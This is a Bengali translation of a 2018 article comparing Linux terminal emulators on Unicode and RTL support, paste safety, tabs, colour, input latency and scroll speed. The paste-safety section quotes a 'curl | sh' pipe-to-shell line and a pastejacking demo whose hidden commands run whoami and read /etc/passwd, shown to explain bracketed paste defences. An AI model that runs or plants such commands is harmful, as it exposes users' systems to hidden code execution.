টার্মিনাল এমুলেটরগুলির ওভারভিউ

আমাদের অনুবাদ ব্যুরো থেকে কয়েকটি শব্দ: সাধারণত সবাই সর্বশেষ উপকরণ এবং প্রকাশনা অনুবাদ করার চেষ্টা করে এবং আমরাও এর ব্যতিক্রম নই। কিন্তু টার্মিনাল এমন কিছু নয় যা সপ্তাহে একবার আপডেট করা হয়। অতএব, আমরা আপনার জন্য 2018 সালের বসন্তে প্রকাশিত Antoine Beaupré-এর একটি নিবন্ধ অনুবাদ করেছি: আধুনিক মান অনুসারে যথেষ্ট "বয়স" হওয়া সত্ত্বেও, আমাদের মতে, উপাদানটি তার প্রাসঙ্গিকতা হারায়নি। উপরন্তু, এটি মূলত দুটি নিবন্ধের একটি সিরিজ ছিল, কিন্তু আমরা তাদের একটি বড় পোস্টে একত্রিত করার সিদ্ধান্ত নিয়েছি।

কম্পিউটারের ইতিহাসে টার্মিনালগুলির একটি বিশেষ স্থান রয়েছে, তবে সাম্প্রতিক দশকগুলিতে গ্রাফিকাল ইন্টারফেস সর্বব্যাপী হয়ে ওঠার কারণে তারা কমান্ড লাইনের পাশাপাশি টিকে থাকতে বাধ্য হয়েছে। টার্মিনাল এমুলেটর তাদের নিজেদের প্রতিস্থাপিত হার্ডওয়্যার ভাই, যা, পরিবর্তে, পাঞ্চড কার্ড এবং টগল সুইচের উপর ভিত্তি করে সিস্টেমের একটি পরিবর্তন ছিল। আধুনিক ডিস্ট্রিবিউশনগুলি সমস্ত আকার এবং রঙের বিভিন্ন টার্মিনাল এমুলেটর সহ আসে। এবং যখন অনেকেই তাদের কাজের পরিবেশ দ্বারা প্রদত্ত স্ট্যান্ডার্ড টার্মিনালের সাথে সন্তুষ্ট থাকে, তখন কিছু গর্বের সাথে তাদের প্রিয় শেল বা পাঠ্য সম্পাদক চালানোর জন্য সরাসরি বহিরাগত সফ্টওয়্যার ব্যবহার করে। তবে, আমরা এই নিবন্ধটি থেকে দেখতে পাব, সমস্ত টার্মিনাল একই ছবিতে তৈরি করা হয়নি: তারা কার্যকারিতা, আকার এবং কার্যকারিতাতে ব্যাপকভাবে পৃথক।

কিছু টার্মিনালের আশ্চর্যজনক নিরাপত্তা ছিদ্র রয়েছে, এছাড়াও বেশিরভাগেরই একটি সম্পূর্ণ আলাদা ফাংশন রয়েছে, ট্যাবযুক্ত ইন্টারফেসের সমর্থন থেকে স্ক্রিপ্টিং পর্যন্ত। যদিও আমরা দূর অতীতে টার্মিনাল এমুলেটর দেখেছি, এই নিবন্ধটি পূর্ববর্তী উপাদানের একটি আপডেট যা পাঠকদের 2018 সালে কোন টার্মিনাল ব্যবহার করতে হবে তা নির্ধারণ করতে সাহায্য করবে৷ নিবন্ধের প্রথমার্ধ বৈশিষ্ট্যগুলি তুলনা করে, এবং দ্বিতীয়ার্ধ কর্মক্ষমতা মূল্যায়ন করে।

এখানে আমি পর্যালোচনা করা টার্মিনাল আছে:

এগুলি সাম্প্রতিক সংস্করণ নাও হতে পারে, যেহেতু আমি লেখার সময় স্থিতিশীল বিল্ডগুলিতে সীমাবদ্ধ ছিলাম, যা আমি ডেবিয়ান 9 বা ফেডোরা 27 এ রোল আউট করতে সক্ষম হয়েছিলাম। একমাত্র ব্যতিক্রম হল অ্যালাক্রিটি। এটি জিপিইউ-ত্বরিত টার্মিনালগুলির একটি বংশধর এবং এই কাজের জন্য একটি অস্বাভাবিক এবং নতুন ভাষায় লেখা হয়েছে - মরিচা। আমি আমার পর্যালোচনা থেকে ওয়েব টার্মিনালগুলিকে বাদ দিয়েছি (সেগুলি সহ ইলেক্ট্রন), কারণ প্রাথমিক পরীক্ষা তাদের অত্যন্ত খারাপ কর্মক্ষমতা দেখিয়েছে।

ইউনিকোড সমর্থন

আমি ইউনিকোড সমর্থন দিয়ে আমার পরীক্ষা শুরু করেছি। টার্মিনালগুলির প্রথম পরীক্ষাটি ছিল ইউনিকোড স্ট্রিং থেকে প্রদর্শন করা উইকিপিডিয়া নিবন্ধ: "é, Δ, И, ק, م, ๗, あ, 叶, 葉 এবং 말।" এই সাধারণ পরীক্ষাটি দেখায় যে টার্মিনালটি বিশ্বব্যাপী সঠিকভাবে কাজ করতে পারে কিনা। xterm টার্মিনাল আরবি অক্ষর প্রদর্শন করে না মেম ডিফল্ট কনফিগারেশনে:

ডিফল্টরূপে, xterm ক্লাসিক "স্থির" ফন্ট ব্যবহার করে, যা অনুযায়ী এখনও একই ভিকি, "1997 সাল থেকে যথেষ্ট ইউনিকোড কভারেজ" রয়েছে। এই ফন্টে এমন কিছু চলছে যার কারণে অক্ষরটি একটি ফাঁকা ফ্রেম হিসাবে প্রদর্শিত হয় এবং এটি শুধুমাত্র তখনই যখন পাঠ্য ফন্টটি 20+ পয়েন্টে বাড়ানো হয় যে অক্ষরটি অবশেষে সঠিকভাবে প্রদর্শিত হতে শুরু করে। যাইহোক, এই "ফিক্স" অন্যান্য ইউনিকোড অক্ষরগুলির প্রদর্শনকে ভেঙে দেয়:

এই স্ক্রিনশটগুলি ফেডোরা 27-এ নেওয়া হয়েছিল, কারণ এটি ডেবিয়ান 9-এর চেয়ে ভাল ফলাফল দিয়েছে, যেখানে কিছু পুরানো টার্মিনালের সংস্করণ (বিশেষত mlterm) ফন্টগুলি সঠিকভাবে পরিচালনা করতে পারেনি। সৌভাগ্যক্রমে এটি পরবর্তী সংস্করণগুলিতে সংশোধন করা হয়েছিল।

এখন লক্ষ্য করুন কিভাবে xterm এ লাইনটি প্রদর্শিত হয়। দেখা যাচ্ছে যে প্রতীক মেম এবং নিম্নলিখিত সেমিটিক qoph RTL শৈলী স্ক্রিপ্ট পড়ুন (ডান থেকে বাম), তাই প্রযুক্তিগতভাবে তাদের ডান থেকে বামে প্রদর্শিত হওয়া উচিত। ফায়ারফক্স 57 এর মতো ওয়েব ব্রাউজার উপরের লাইনটি সঠিকভাবে পরিচালনা করে। RTL পাঠ্যের একটি সহজ সংস্করণ হল "সারাহ"হিব্রুতে (সারাহ). দ্বিমুখী পাঠ্যের উইকি পাতা নিম্নলিখিত বলেন:

“অনেক কম্পিউটার প্রোগ্রাম দ্বিমুখী পাঠ্য সঠিকভাবে প্রদর্শন করতে পারে না। উদাহরণস্বরূপ, হিব্রু নাম "সারাহ" অক্ষরগুলি নিয়ে গঠিত sin (ש) (যেটি ডানদিকে প্রদর্শিত হয়), তারপরে resh (ר) এবং অবশেষে he (ה) (যা বাম দিকে প্রদর্শিত হবে)৷"

অনেক টার্মিনাল এই পরীক্ষায় ব্যর্থ হয়: Alacritty, VTE- থেকে প্রাপ্ত Gnome এবং XFCE টার্মিনাল, urxvt, st এবং xterm বিপরীত ক্রমে "সারা" প্রদর্শন করে, যেন আমরা "আরাস" নামটি লিখেছি।

দ্বিমুখী পাঠ্যগুলির সাথে আরেকটি সমস্যা হল যে সেগুলিকে একরকম সারিবদ্ধ করা দরকার, বিশেষ করে যখন এটি RTL এবং LTR পাঠ্যগুলিকে মিশ্রিত করার ক্ষেত্রে আসে। RTL স্ক্রিপ্টগুলি টার্মিনাল উইন্ডোর ডান দিক থেকে চালানো উচিত, কিন্তু যে টার্মিনালগুলি LTR ইংরেজিতে ডিফল্ট হয় তাদের জন্য কী হবে? তাদের বেশিরভাগেরই কোনো বিশেষ ব্যবস্থা নেই এবং সমস্ত পাঠ্য বাম দিকে সারিবদ্ধ করে (কনসোলে সহ)। ব্যতিক্রমগুলি হল pterm এবং mlterm, যা মানগুলি মেনে চলে এবং এই জাতীয় লাইনগুলিকে ডান-সারিবদ্ধ করে৷

সন্নিবেশ সুরক্ষা

পরবর্তী সমালোচনামূলক বৈশিষ্ট্য যা আমি সনাক্ত করেছি তা হল বিরোধী সন্নিবেশ সুরক্ষা। যদিও এটি ব্যাপকভাবে পরিচিত যে বানানগুলি যেমন:

$ curl http://example.com/ | sh

কোড এক্সিকিউশন পুশ কমান্ড, খুব কম লোকই জানেন যে গোপনীয় কমান্ডগুলি সতর্কতার সাথে পরিদর্শন করার পরেও ওয়েব ব্রাউজার থেকে কপি এবং পেস্ট করার সময় কনসোলে লুকিয়ে যেতে পারে। যাচাইকরণ সাইট জিয়ানা হর্না উজ্জ্বলভাবে দেখায় কতটা নিরীহ-সুদর্শন কমান্ড:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

হর্নের ওয়েবসাইট থেকে টার্মিনালে পেস্ট করা হলে এটি এমন একটি উপদ্রবে পরিণত হয়:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

কিভাবে এটা কাজ করে? দূষিত কোড ব্লক অন্তর্ভুক্ত করা হয় , যা CSS ব্যবহার করে ব্যবহারকারীর ভিউ থেকে সরানো হয়।

বন্ধনী পেস্ট মোড পরিষ্কারভাবে এই ধরনের আক্রমণ নিরপেক্ষ করার জন্য ডিজাইন করা হয়েছে। এই মোডে, টার্মিনালগুলি পেস্ট করা টেক্সটকে একজোড়া বিশেষ এস্কেপ সিকোয়েন্সে আবদ্ধ করে যাতে শেলকে টেক্সটের উৎপত্তি সম্পর্কে বলা যায়। এটি শেলকে বলে যে এটি পেস্ট করা পাঠ্য থাকতে পারে এমন বিশেষ অক্ষরগুলিকে উপেক্ষা করতে পারে। সম্মানিত xterm-এ ফিরে আসা সমস্ত টার্মিনাল এই বৈশিষ্ট্যটিকে সমর্থন করে, কিন্তু বন্ধনী মোডে পেস্ট করার জন্য টার্মিনালে চলমান শেল বা অ্যাপ্লিকেশন থেকে সমর্থন প্রয়োজন। উদাহরণস্বরূপ, সফ্টওয়্যার ব্যবহার করে GNU রিডলাইন (একই ব্যাশ), একটি ফাইল প্রয়োজন ~/.inputrc:

set enable-bracketed-paste on

দুর্ভাগ্যবশত, হর্নের পরীক্ষার সাইটটিও দেখায় কিভাবে এই সুরক্ষাটিকে টেক্সট ফরম্যাটিংয়ের মাধ্যমে বাইপাস করা যায় এবং অকালে এটিতে বন্ধনী মোড প্রয়োগ করা হয়। এটি কাজ করে কারণ কিছু টার্মিনাল তাদের নিজস্ব যোগ করার আগে সঠিকভাবে এস্কেপ সিকোয়েন্স ফিল্টার করে না। উদাহরণস্বরূপ, আমার মধ্যে আমি কখনই সঠিক কনফিগারেশন সহ কনসোল পরীক্ষাগুলি সফলভাবে সম্পন্ন করতে পারিনি .inputrc ফাইল এর মানে হল যে আপনি সহজেই আপনার সিস্টেম কনফিগারেশন একটি অসমর্থিত অ্যাপ্লিকেশন বা একটি ভুলভাবে কনফিগার করা শেল কারণে দূষিত পেতে পারেন। দূরবর্তী সার্ভারে লগ ইন করার সময় এটি বিশেষত বিপজ্জনক, যেখানে সতর্ক কনফিগারেশনের কাজ কম সাধারণ, বিশেষ করে যদি আপনার কাছে এমন অনেক দূরবর্তী মেশিন থাকে।

এই সমস্যার একটি ভাল সমাধান হল টার্মিনালের জন্য পেস্ট নিশ্চিতকরণ প্লাগইন urxvt, যা কেবল নতুন লাইন ধারণ করে এমন কোনো পাঠ্য সন্নিবেশ করার অনুমতি চায়। হর্ন দ্বারা বর্ণিত টেক্সট আক্রমণের জন্য আমি আরও নিরাপদ বিকল্প খুঁজে পাইনি।

ট্যাব এবং প্রোফাইল

এই মুহূর্তে একটি জনপ্রিয় বৈশিষ্ট্য হল একটি ট্যাবড ইন্টারফেসের জন্য সমর্থন, যাকে আমরা একটি টার্মিনাল উইন্ডো হিসাবে সংজ্ঞায়িত করব যাতে আরও কয়েকটি টার্মিনাল রয়েছে। এই ফাংশনটি বিভিন্ন টার্মিনালের জন্য আলাদা, এবং যদিও প্রথাগত xterm টার্মিনালগুলি ট্যাবগুলিকে সমর্থন করে না, আরও আধুনিক টার্মিনাল অবতার যেমন Xfce টার্মিনাল, জিনোম টার্মিনাল এবং কনসোলে এই ফাংশনটি রয়েছে। Urxvt ট্যাবগুলিকেও সমর্থন করে, কিন্তু শুধুমাত্র যদি আপনি একটি প্লাগইন ব্যবহার করেন। কিন্তু ট্যাব সমর্থনের ক্ষেত্রে, টার্মিনেটর হল অবিসংবাদিত নেতা: এটি শুধুমাত্র ট্যাবগুলিকে সমর্থন করে না, তবে যে কোনও ক্রমে টার্মিনালগুলিকে সাজাতে পারে (নীচের ছবিটি দেখুন)।

টার্মিনেটরের আরেকটি বৈশিষ্ট্য হল এই ট্যাবগুলিকে একসাথে "গ্রুপ" করার ক্ষমতা এবং একই সময়ে একাধিক টার্মিনালে একই কীস্ট্রোক পাঠানোর ক্ষমতা, যা একই সাথে একাধিক সার্ভারে বাল্ক অপারেশন সম্পাদনের জন্য একটি অশোধিত টুল প্রদান করে। অনুরূপ বৈশিষ্ট্য কনসোলে প্রয়োগ করা হয়েছে। অন্যান্য টার্মিনালে এই বৈশিষ্ট্যটি ব্যবহার করতে, আপনাকে অবশ্যই তৃতীয় পক্ষের সফ্টওয়্যার যেমন ব্যবহার করতে হবে ক্লাস্টার SSH, xlax বা tmux.

প্রোফাইলের সাথে পেয়ার করা হলে ট্যাবগুলি বিশেষভাবে ভাল কাজ করে: উদাহরণস্বরূপ, আপনার কাছে একটি ট্যাব ইমেলের জন্য, অন্যটি চ্যাটের জন্য থাকতে পারে এবং আরও অনেক কিছু। এটি কনসোল টার্মিনাল এবং জিনোম টার্মিনাল দ্বারা সমর্থিত। উভয়ই প্রতিটি ট্যাবকে স্বয়ংক্রিয়ভাবে নিজস্ব প্রোফাইল চালু করার অনুমতি দেয়। টার্মিনেটর প্রোফাইলগুলিকেও সমর্থন করে, কিন্তু আপনি যখন একটি নির্দিষ্ট ট্যাব খুলবেন তখন আমি স্বয়ংক্রিয়ভাবে কিছু প্রোগ্রাম চালু করার উপায় খুঁজে পাইনি। অন্যান্য টার্মিনালগুলিতে "প্রোফাইল" এর ধারণা নেই।

রাফেলস

আমি এই নিবন্ধের প্রথম অংশে শেষ জিনিসটি কভার করব তা হল টার্মিনালগুলির উপস্থিতি। উদাহরণস্বরূপ GNOME, Xfce এবং urxvt স্বচ্ছতা সমর্থন করে, কিন্তু সম্প্রতি পটভূমি চিত্রগুলির জন্য সমর্থন বাদ দিয়েছে, কিছু ব্যবহারকারীকে টার্মিনালে যেতে বাধ্য করেছে Tilix. ব্যক্তিগতভাবে, আমি এতে খুশি এবং এটি সহজ এক্সরেসোর্স, যা urxvt-এর জন্য পটভূমির রঙের বেস সেট সেট করে। যাইহোক, অ-মানক রঙের থিমগুলিও সমস্যা তৈরি করতে পারে। উদাহরণ স্বরূপ, Solarized কাজ না অ্যাপ্লিকেশন সহ htop и আইপিট্রাফ, যেহেতু তারা ইতিমধ্যে তাদের নিজস্ব রং ব্যবহার করে।

আসল VT100 টার্মিনাল রঙ সমর্থন করে না, এবং নতুনগুলি প্রায়শই একটি 256-রঙের প্যালেটে সীমাবদ্ধ ছিল। উন্নত ব্যবহারকারীদের জন্য যারা তাদের টার্মিনাল, শেল প্রম্পট বা স্ট্যাটাস বারকে জটিল উপায়ে স্টাইল করে তাদের জন্য একটি বিরক্তিকর সীমাবদ্ধতা হতে পারে। সারকথা কোন টার্মিনালগুলিতে "ট্রু কালার" সমর্থন রয়েছে তা ট্র্যাক করে। আমার পরীক্ষাগুলি নিশ্চিত করে যে st, Alacritty এবং VTE-ভিত্তিক টার্মিনালগুলি সত্য রঙকে পুরোপুরি সমর্থন করে। অন্যান্য টার্মিনালগুলি এই বিষয়ে খুব ভালভাবে ভাড়া দেয় না এবং প্রকৃতপক্ষে 256টি রঙও প্রদর্শন করে না। নীচে আপনি GNOME টার্মিনাল, st এবং xterm-এ True Color সাপোর্টের মধ্যে পার্থক্য দেখতে পাচ্ছেন, যেটি তাদের 256 কালার প্যালেট এবং urxvt দিয়ে এটি একটি ভাল কাজ করে, যা শুধুমাত্র পরীক্ষায় ব্যর্থ হয় না, এমনকি তাদের পরিবর্তে কিছু জ্বলজ্বলে অক্ষরও দেখায়।

কিছু টার্মিনাল লিঙ্কগুলিকে ক্লিকযোগ্য করার জন্য URL প্যাটার্নগুলির জন্য পাঠ্য বিশ্লেষণ করে। এটি সমস্ত VTE-প্রাপ্ত টার্মিনালের ক্ষেত্রে প্রযোজ্য, যখন urxvt-এর জন্য একটি বিশেষ প্লাগইন প্রয়োজন যা একটি ক্লিকে বা একটি কীবোর্ড শর্টকাট ব্যবহার করে URL গুলিকে রূপান্তরিত করবে৷ অন্যান্য টার্মিনাল আমি অন্য উপায়ে প্রদর্শন URL পরীক্ষা করেছি।

অবশেষে, টার্মিনালে একটি নতুন প্রবণতা হল স্ক্রোল বাফারের ঐচ্ছিকতা। উদাহরণস্বরূপ, st এর কোন স্ক্রল বাফার নেই; এটা অনুমান করা হয় যে ব্যবহারকারী একটি টার্মিনাল মাল্টিপ্লেক্সার যেমন tmux এবং ব্যবহার করবে জিএনইউ স্ক্রিন.

অ্যালাক্রিটিটিতেও ব্যাকস্ক্রোল বাফারের অভাব রয়েছে, তবে শীঘ্রই যোগ করা হবে ব্যবহারকারীদের কাছ থেকে এই বিষয়ে "বিস্তৃত প্রতিক্রিয়া" এর কারণে এর সমর্থন। এই আপস্টার্টগুলি ছাড়াও, প্রতিটি টার্মিনাল যা আমি পরীক্ষা করেছি যে আমি বিপরীত স্ক্রোলিং সমর্থন করতে পারি।

সাবটোটাল

উপাদানের দ্বিতীয় অংশে (মূলে এই দুটি ভিন্ন নিবন্ধ ছিল - প্রায়. গলি) আমরা কর্মক্ষমতা, মেমরি ব্যবহার এবং লেটেন্সি তুলনা করব। কিন্তু আমরা ইতিমধ্যে দেখতে পাচ্ছি যে প্রশ্নে থাকা কিছু টার্মিনালের গুরুতর ত্রুটি রয়েছে। উদাহরণস্বরূপ, যে ব্যবহারকারীরা নিয়মিত RTL স্ক্রিপ্টগুলির সাথে কাজ করেন তারা mlterm এবং pterm বিবেচনা করতে চাইতে পারেন, কারণ তারা অন্যদের তুলনায় অনুরূপ কাজগুলি পরিচালনা করতে ভাল। কনসোলও ভালো পারফর্ম করেছে। যে ব্যবহারকারীরা RTL স্ক্রিপ্টের সাথে কাজ করেন না তারা অন্য কিছু বেছে নিতে পারেন।

দূষিত কোড সন্নিবেশের বিরুদ্ধে সুরক্ষার পরিপ্রেক্ষিতে, urxvt এই ধরণের আক্রমণের বিরুদ্ধে সুরক্ষার বিশেষ প্রয়োগের কারণে আলাদা হয়ে উঠেছে, যা আমার কাছে অবশ্যই সুবিধাজনক বলে মনে হচ্ছে। যারা কিছু ঘণ্টা এবং বাঁশি খুঁজছেন তাদের জন্য, কনসোল দেখতে মূল্যবান। পরিশেষে, এটি লক্ষনীয় যে VTE টার্মিনালগুলির জন্য একটি চমৎকার ভিত্তি, যা রঙ সমর্থন, URL স্বীকৃতি এবং আরও অনেক কিছুর নিশ্চয়তা দেয়। প্রথম নজরে, আপনার প্রিয় পরিবেশের সাথে আসা ডিফল্ট টার্মিনালটি সমস্ত প্রয়োজনীয়তা পূরণ করতে পারে, কিন্তু আমরা কর্মক্ষমতা বুঝতে না হওয়া পর্যন্ত এই প্রশ্নটি খোলা রাখি।

কথোপকথন চালিয়ে যাওয়া যাক

সাধারণভাবে, টার্মিনালগুলির কার্যকারিতা নিজের মধ্যে একটি সুদূরপ্রসারী সমস্যা বলে মনে হতে পারে, তবে এটি দেখা যাচ্ছে, তাদের মধ্যে কয়েকটি এই ধরনের মৌলিক ধরণের সফ্টওয়্যারের জন্য আশ্চর্যজনকভাবে উচ্চ বিলম্ব প্রদর্শন করে। এছাড়াও পরবর্তীতে আমরা দেখব যাকে ঐতিহ্যগতভাবে "গতি" বলা হয় (আসলে, এটি হল স্ক্রোলিং গতি) এবং টার্মিনালের মেমরি খরচ (সতর্কতা সহ যে এটি কয়েক দশক আগে যেমন ছিল আজকের মতো গুরুত্বপূর্ণ নয়)।

বিলম্ব

টার্মিনাল পারফরম্যান্সের পুঙ্খানুপুঙ্খ অধ্যয়নের পরে, আমি এই সিদ্ধান্তে পৌঁছেছি যে এই বিষয়ে সবচেয়ে গুরুত্বপূর্ণ প্যারামিটারটি হল লেটেন্সি (পিং)। তার প্রবন্ধে "আমরা আনন্দের সাথে মুদ্রণ করি" পাভেল ফাতিন বিভিন্ন টেক্সট এডিটরদের লেটেন্সি দেখেছিলেন এবং ইঙ্গিত দিয়েছিলেন যে এই বিষয়ে টার্মিনালগুলি দ্রুততম টেক্সট এডিটরগুলির চেয়ে ধীর হতে পারে। এই ইঙ্গিতটিই শেষ পর্যন্ত আমাকে আমার নিজের পরীক্ষা চালানোর এবং এই নিবন্ধটি লেখার দিকে পরিচালিত করেছিল।

কিন্তু বিলম্ব কি, এবং কেন এটা এত গুরুত্বপূর্ণ? তার নিবন্ধে, ফাতিন এটিকে "একটি কী টিপতে এবং সংশ্লিষ্ট স্ক্রিন আপডেটের মধ্যে বিলম্ব" হিসাবে সংজ্ঞায়িত করেছেন এবং উদ্ধৃত করেছেন "মানব-কম্পিউটার ইন্টারঅ্যাকশনের নির্দেশিকা", যা বলে: "কম্পিউটার ডিসপ্লেতে ভিজ্যুয়াল ফিডব্যাকের বিলম্ব টাইপিস্টের আচরণ এবং সন্তুষ্টির উপর একটি গুরুত্বপূর্ণ প্রভাব ফেলে।"

ফ্যাটিন ব্যাখ্যা করেছেন যে এই পিংটির কেবল সন্তুষ্টির চেয়ে গভীর ফলাফল রয়েছে: "টাইপিং ধীর হয়ে যায়, আরও ত্রুটি দেখা দেয় এবং চোখ এবং পেশীর টান বৃদ্ধি পায়।" অন্য কথায়, একটি বড় বিলম্ব টাইপোর দিকে নিয়ে যেতে পারে এবং কোডের গুণমানও কমিয়ে দিতে পারে, কারণ এটি মস্তিষ্কে অতিরিক্ত জ্ঞানীয় লোডের দিকে নিয়ে যায়। কিন্তু সবচেয়ে খারাপ হল যে পিং "চোখ এবং পেশীর স্ট্রেন বাড়ায়", যা বোঝায় বলে মনে হয় পেশাগত আঘাতের বিকাশ ভবিষ্যতে (স্পষ্টতই, লেখক মানে চোখের পেশী, পিঠ, বাহু এবং অবশ্যই, দৃষ্টি - প্রায়। গলি) পুনরাবৃত্তিমূলক চাপের কারণে।

এর মধ্যে কিছু প্রভাব দীর্ঘ সময়ের জন্য পরিচিত এবং ফলাফল গবেষণা, 1976 সালে Ergonomics জার্নালে প্রকাশিত, বলেছিল যে 100 মিলিসেকেন্ডের বিলম্ব "উল্লেখযোগ্যভাবে টাইপিং গতিকে ক্ষতিগ্রস্ত করে।" অতি সম্প্রতি, জিনোম ব্যবহারকারী নির্দেশিকা চালু হয়েছে গ্রহণযোগ্য প্রতিক্রিয়া সময় 10 মিলিসেকেন্ডের মধ্যে, এবং আপনি যদি আরও যান, তাহলে মাইক্রোসফ্ট গবেষণা দেখায় যে 1 মিলিসেকেন্ড আদর্শ।

ফাতিন পাঠ্য সম্পাদকদের উপর তার পরীক্ষা পরিচালনা করেছিলেন; তিনি একটি পোর্টেবল ইন্সট্রুমেন্ট তৈরি করেন যার নাম টাইপোমিটার, যা আমি টার্মিনাল এমুলেটরগুলিতে পিং পরীক্ষা করতাম। মনে রাখবেন যে পরীক্ষাটি সিমুলেশন মোডে পরিচালিত হয়েছিল: বাস্তবে, আমাদের ইনপুট (কীবোর্ড, ইউএসবি কন্ট্রোলার, ইত্যাদি) এবং আউটপুট (ভিডিও কার্ড বাফার, মনিটর) লেটেন্সি উভয়ই বিবেচনা করতে হবে। ফাতিনের মতে, সাধারণ কনফিগারেশনে এটি প্রায় 20 এমএস। আপনার যদি গেমিং সরঞ্জাম থাকে তবে আপনি এই চিত্রটি মাত্র 3 মিলিসেকেন্ডে অর্জন করতে পারেন। যেহেতু আমাদের কাছে ইতিমধ্যেই এই ধরনের দ্রুত হার্ডওয়্যার রয়েছে, তাই অ্যাপ্লিকেশনটির নিজস্ব লেটেন্সি যোগ করতে হবে না। ফাটিনের লক্ষ্য হল অ্যাপ্লিকেশন লেটেন্সি 1 মিলিসেকেন্ডে নিয়ে আসা, বা এমনকি ডায়ালিং ছাড়াই অর্জন করা পরিমাপযোগ্য বিলম্বকিভাবে ইন্টেলিজ আইডিয়া 15.

এখানে আমার পরিমাপের ফলাফল, সেইসাথে ফাতিনের কিছু ফলাফল, দেখাতে যে আমার পরীক্ষা তার পরীক্ষার সাথে একমত:

প্রথম যে জিনিসটি আমাকে আঘাত করেছিল তা হল xterm এবং mlterm এর মতো পুরানো প্রোগ্রামগুলির আরও ভাল প্রতিক্রিয়া সময়। সবচেয়ে খারাপ রেজিস্টার লেটেন্সি (2,4 ms), তারা দ্রুততম আধুনিক টার্মিনালের (st এর জন্য 10,6 ms) থেকে ভালো পারফর্ম করেছে। কোনো আধুনিক টার্মিনাল 10 মিলিসেকেন্ড থ্রেশহোল্ডের নিচে পড়ে না। বিশেষ করে, অ্যালাক্রিটিটি "দ্রুততম টার্মিনাল এমুলেটর উপলব্ধ" দাবি পূরণ করতে ব্যর্থ হয়েছে, যদিও 2017 সালে এর প্রথম পর্যালোচনার পর থেকে এর স্কোর উন্নত হয়েছে। প্রকৃতপক্ষে, প্রকল্পের লেখক পরিস্থিতি সম্পর্কে সচেতন এবং ডিসপ্লে উন্নত করার জন্য কাজ করছে। এটাও লক্ষ করা উচিত যে Vim GTK3 ব্যবহার করে তার GTK2 কাউন্টারপার্টের চেয়ে ধীর মাত্রার একটি অর্ডার। এর থেকে আমরা উপসংহারে আসতে পারি যে GTK3 অতিরিক্ত লেটেন্সি তৈরি করে, এবং এটি অন্যান্য সমস্ত টার্মিনালে প্রতিফলিত হয় যা এটি ব্যবহার করে (টার্মিনেটর, Xfce4 টার্মিনাল এবং জিনোম টার্মিনাল)।

যাইহোক, পার্থক্য চোখে লক্ষণীয় নাও হতে পারে। যেমন ফাতিন ব্যাখ্যা করেছেন, "আপনার উপর প্রভাব ফেলতে বিলম্ব সম্পর্কে আপনাকে সচেতন হতে হবে না।" ফ্যাটিন স্ট্যান্ডার্ড বিচ্যুতি সম্পর্কেও সতর্ক করে: "বিলম্বে যেকোন ব্যাঘাত (জিটার) তাদের অনির্দেশ্যতার কারণে অতিরিক্ত চাপ তৈরি করে।"

উপরের গ্রাফটি বিশুদ্ধ ডেবিয়ান 9 (প্রসারিত) এর সাথে নেওয়া হয়েছে i3 উইন্ডো ম্যানেজার. এই পরিবেশ লেটেন্সি পরীক্ষায় সেরা ফলাফল দেয়। এটি দেখা যাচ্ছে, GNOME সমস্ত পরিমাপের জন্য 20 ms এর একটি অতিরিক্ত পিং তৈরি করে। এর জন্য একটি সম্ভাব্য ব্যাখ্যা হল ইনপুট ইভেন্টগুলির সিঙ্ক্রোনাস প্রক্রিয়াকরণ সহ প্রোগ্রামগুলির উপস্থিতি। ফাতিন এই ধরনের একটি ক্ষেত্রে একটি উদাহরণ দেয় Workrave, যা সিঙ্ক্রোনাসভাবে সমস্ত ইনপুট ইভেন্ট প্রক্রিয়াকরণ করে বিলম্ব যোগ করে। ডিফল্টরূপে, জিনোম একটি উইন্ডো ম্যানেজার সহ আসে বিড়বিড় করা, যা বাফারিংয়ের একটি অতিরিক্ত স্তর তৈরি করে, যা পিংকে প্রভাবিত করে এবং কমপক্ষে 8 মিলিসেকেন্ড লেটেন্সি যোগ করে।

স্ক্রল গতি

পরবর্তী পরীক্ষা হল একটি ঐতিহ্যবাহী "গতি" বা "ব্যান্ডউইথ" পরীক্ষা, যা পরিমাপ করে যে টার্মিনাল কত দ্রুত একটি পৃষ্ঠা স্ক্রোল করতে পারে যখন স্ক্রিনে প্রচুর পরিমাণে পাঠ্য প্রদর্শন করতে পারে। পরীক্ষার মেকানিক্স পরিবর্তিত হয়; মূল পরীক্ষাটি ছিল seq কমান্ড ব্যবহার করে একই পাঠ্য স্ট্রিং তৈরি করা। অন্যান্য পরীক্ষার মধ্যে রয়েছে থমাস ই. ডিকির (এক্সটার্ম রক্ষণাবেক্ষণকারী) পরীক্ষা, যা বারবার terminfo.src ফাইলটি ডাউনলোড করা হয়েছে. টার্মিনাল কর্মক্ষমতা অন্য পর্যালোচনা ডেন লু র্যান্ডম বাইটের একটি base32 এনকোডেড স্ট্রিং ব্যবহার করে, যা cat ব্যবহার করে টার্মিনালে আউটপুট হয়। লুউ এই ধরনের পরীক্ষাটিকে "একজন কল্পনা করার মতো বেঞ্চমার্ক হিসাবে অকেজো" বলে মনে করেন এবং পরিবর্তে প্রাথমিক মেট্রিক হিসাবে টার্মিনাল প্রতিক্রিয়া ব্যবহার করার পরামর্শ দেন। ডিকি তার পরীক্ষাকে বিভ্রান্তিকরও বলে। যাইহোক, উভয় লেখক স্বীকার করেছেন যে টার্মিনাল উইন্ডো ব্যান্ডউইথ একটি সমস্যা হতে পারে। Luu বড় ফাইল প্রদর্শন করার সময় Emacs Eshell জমাট বাঁধা আবিষ্কার করেন এবং ডিকি xtrerm-এর চাক্ষুষ অলসতা থেকে পরিত্রাণ পেতে টার্মিনালটিকে অপ্টিমাইজ করেন। তাই এই পরীক্ষায় এখনও কিছু যোগ্যতা রয়েছে, কিন্তু যেহেতু রেন্ডারিং প্রক্রিয়া টার্মিনাল থেকে টার্মিনাল পর্যন্ত খুব আলাদা, তাই এটি অন্যান্য পরামিতি পরীক্ষা করার জন্য একটি পরীক্ষার উপাদান হিসাবেও ব্যবহার করা যেতে পারে।

